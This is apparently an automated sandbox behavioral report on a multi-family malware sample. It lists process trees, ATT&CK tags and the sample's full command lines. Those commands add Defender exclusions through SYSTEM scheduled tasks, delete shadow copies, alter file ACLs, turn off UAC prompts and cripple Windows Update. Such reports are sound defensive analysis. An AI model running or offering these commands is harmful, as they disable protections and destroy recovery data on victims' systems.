PID 3120 wrote to memory of 2172	3120	3eHF9B.exe	106
PID 752 wrote to memory of 5024	752	cmd.exe	109
PID 2172 wrote to memory of 2788	2172	cmd.exe	110
PID 752 wrote to memory of 3432	752	cmd.exe	111
PID 2172 wrote to memory of 2744	2172	cmd.exe	113
PID 752 wrote to memory of 3564	752	cmd.exe	114
PID 2172 wrote to memory of 212	2172	cmd.exe	115
PID 4788 wrote to memory of 1516	4788	cmd.exe	117
PID 4104 wrote to memory of 2540	4104	cmd.exe	118
PID 3120 wrote to memory of 4696	3120	3eHF9B.exe	119
PID 4696 wrote to memory of 4228	4696	cmd.exe	121
PID 4696 wrote to memory of 3460	4696	cmd.exe	122
PID 4696 wrote to memory of 2488	4696	cmd.exe	125
PID 1028 wrote to memory of 2388	1028	cmd.exe	126
PID 3120 wrote to memory of 4092	3120	3eHF9B.exe	127
PID 4092 wrote to memory of 688	4092	cmd.exe	129
PID 4092 wrote to memory of 1160	4092	cmd.exe	130
PID 4092 wrote to memory of 3848	4092	cmd.exe	132
PID 2476 wrote to memory of 4652	2476	cmd.exe	134
PID 3120 wrote to memory of 924	3120	3eHF9B.exe	135
PID 924 wrote to memory of 3428	924	iWMlVR.exe	137
PID 924 wrote to memory of 4152	924	iWMlVR.exe	140
PID 924 wrote to memory of 3344	924	iWMlVR.exe	142
PID 4152 wrote to memory of 1120	4152	cmd.exe	144
PID 924 wrote to memory of 208	924	iWMlVR.exe	145
PID 208 wrote to memory of 2424	208	cmd.exe	148
PID 924 wrote to memory of 4580	924	iWMlVR.exe	149
PID 4580 wrote to memory of 3648	4580	cmd.exe	151
PID 924 wrote to memory of 4776	924	iWMlVR.exe	152
PID 4776 wrote to memory of 3112	4776	cmd.exe	154
PID 924 wrote to memory of 4884	924	iWMlVR.exe	155
PID 4884 wrote to memory of 968	4884	cmd.exe	157
PID 924 wrote to memory of 4264	924	iWMlVR.exe	158
PID 4264 wrote to memory of 2628	4264	cmd.exe	160
PID 924 wrote to memory of 4172	924	iWMlVR.exe	161
PID 4172 wrote to memory of 2656	4172	cmd.exe	163
PID 924 wrote to memory of 4712	924	iWMlVR.exe	164
PID 4712 wrote to memory of 3528	4712	cmd.exe	166
PID 924 wrote to memory of 1144	924	iWMlVR.exe	167
PID 1144 wrote to memory of 652	1144	cmd.exe	169
PID 924 wrote to memory of 2564	924	iWMlVR.exe	170
PID 2564 wrote to memory of 3040	2564	cmd.exe	172
PID 924 wrote to memory of 4404	924	iWMlVR.exe	173
PID 4404 wrote to memory of 2692	4404	cmd.exe	175
PID 924 wrote to memory of 2324	924	iWMlVR.exe	176
PID 2324 wrote to memory of 2412	2324	cmd.exe	178
PID 924 wrote to memory of 3064	924	iWMlVR.exe	179
PID 3064 wrote to memory of 4932	3064	cmd.exe	181
PID 924 wrote to memory of 4744	924	iWMlVR.exe	182
PID 4744 wrote to memory of 4724	4744	cmd.exe	184
PID 924 wrote to memory of 1740	924	iWMlVR.exe	185
PID 1740 wrote to memory of 4516	1740	cmd.exe	187
PID 924 wrote to memory of 5060	924	iWMlVR.exe	190
PID 924 wrote to memory of 4428	924	iWMlVR.exe	192
PID 924 wrote to memory of 4024	924	iWMlVR.exe	194
PID 4428 wrote to memory of 4808	4428	cmd.exe	196
PID 4024 wrote to memory of 1608	4024	cmd.exe	197
PID 1608 wrote to memory of 4592	1608	net.exe	198
PID 4428 wrote to memory of 2744	4428	cmd.exe	199

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iWMlVR.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2216

C:\Users\Public\qO1Gea\3eHF9B.exe
C:\Users\Public\qO1Gea\3eHF9B.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qO1Gea\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qO1Gea\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5012
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4192
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5024
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3432
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2788
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4228
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3460
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:688
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3848
- C:\Program Files (x86)\iWMlVR\iWMlVR.exe
  "C:\Program Files (x86)\iWMlVR\iWMlVR.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:924
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1120
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3344
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:208
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2424
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4580
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3648
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\iWMlVR.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\iWMlVR.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3112
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\iWMlVR.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4884
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\iWMlVR.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:968
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\iWMlVR.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4264
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\iWMlVR.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2628
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4172
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2656
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4712
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3528
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:652
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2692
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2412
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4932
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4724
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\iWMlVR\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1740
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\iWMlVR\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4516
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5060
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\iWMlVR\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4428
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\iWMlVR\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4808
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2744
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:368
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4024
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1608
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4592
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:764
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4700
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:2892
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:652
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:740
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3176
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1832
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2028
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3556
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3052
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2720
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2468
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4108
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4320
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5008
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4324
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1672
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4360
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5064
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:540
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4088
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2112
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3896
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4380
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3712
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1536
- - C:\Windows\SysWOW64\cmd.exe
